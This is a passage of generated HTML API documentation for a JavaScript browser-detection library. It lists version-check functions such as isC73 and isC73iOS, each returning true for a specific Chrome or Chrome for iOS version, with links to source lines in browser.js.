class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 72.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2016\">line 2016</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC73\"><span class=\"type-signature\">(static) </span>isC73<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 73.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2024\">line 2024</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC73iOS\"><span class=\"type-signature\">(static) </span>isC73iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 73.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2032\">line 2032</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC74\"><span class=\"type-signature\">(static) </span>isC74<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 74.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2040\">line 2040</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC74iOS\"><span class=\"type-signature\">(static) </span>isC74iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 74.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2048\">line 2048</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC75\"><span class=\"type-signature\">(static) </span>isC75<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 75.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2056\">line 2056</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC75iOS\"><span class=\"type-signature\">(static) </span>isC75iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 75.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2064\">line 2064</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC76\"><span class=\"type-signature\">(static) </span>isC76<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 76.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2072\">line 2072</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC76iOS\"><span class=\"type-signature\">(static) </span>isC76iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 76.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2080\">line 2080</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC77\"><span class=\"type-signature\">(static) </span>isC77<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 77.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2088\">line 2088</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC77iOS\"><span class=\"type-signature\">(static) </span>isC77iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 77.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2096\">line 2096</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC78\"><span class=\"type-signature\">(static) </span>isC78<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 78.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2104\">line 2104</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC78iOS\"><span class=\"type-signature\">(static) </span>isC78iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 78.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2112\">line 2112</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC79\"><span class=\"type-signature\">(static) </span>isC79<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 79.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2120\">line 2120</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC79iOS\"><span class=\"type-signature\">(static) </span>isC79iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 79.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2128\">line 2128</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC8\"><span class=\"type-signature\">(static) </span>isC8<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 8.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1072\">line 1072</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC80\"><span class=\"type-signature\">(static) </span>isC80<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 80.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2136\">line 2136</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC80iOS\"><span class=\"type-signature\">(static) </span>isC80iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 80.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2144\">line 2144</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC81\"><span class=\"type-signature\">(static) </span>isC81<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 81.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2152\">line 2152</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC81iOS\"><span class=\"type-signature\">(static) </span>isC81iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 81.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2160\">line 2160</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC82\"><span class=\"type-signature\">(static) </span>isC82<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 82.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2168\">line 2168</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC82iOS\"><span class=\"type-signature\">(static) </span>isC82iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 82.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2176\">line 2176</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC83\"><span class=\"type-signature\">(static) </span>isC83<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 83.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2184\">line 2184</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC83iOS\"><span class=\"type-signature\">(static) </span>isC83iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 83.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2192\">line 2192</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC84\"><span class=\"type-signature\">(static) </span>isC84<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 84.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2200\">line 2200</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC84iOS\"><span class=\"type-signature\">(static) </span>isC84iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 84.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2208\">line 2208</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC85\"><span class=\"type-signature\">(static) </span>isC85<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 85.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2216\">line 2216</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC85iOS\"><span class=\"type-signature\">(static) </span>isC85iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 85.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2224\">line 2224</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC86\"><span class=\"type-signature\">(static) </span>isC86<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 86.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2232\">line 2232</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC86iOS\"><span class=\"type-signature\">(static) </span>isC86iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 86.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2240\">line 2240</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC87\"><span class=\"type-signature\">(static) </span>isC87<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 87.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2248\">line 2248</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC87iOS\"><span class=\"type-signature\">(static) </span>isC87iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 87.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2256\">line 2256</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC88\"><span class=\"type-signature\">(static) </span>isC88<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 88.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2264\">line 2264</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC88iOS\"><span class=\"type-signature\">(static) </span>isC88iOS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome for iOS 88.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2272\">line 2272</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isC89\"><span class=\"type-signature\">(static) </span>isC89<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Chrome 89.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2280\">line 2280</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" 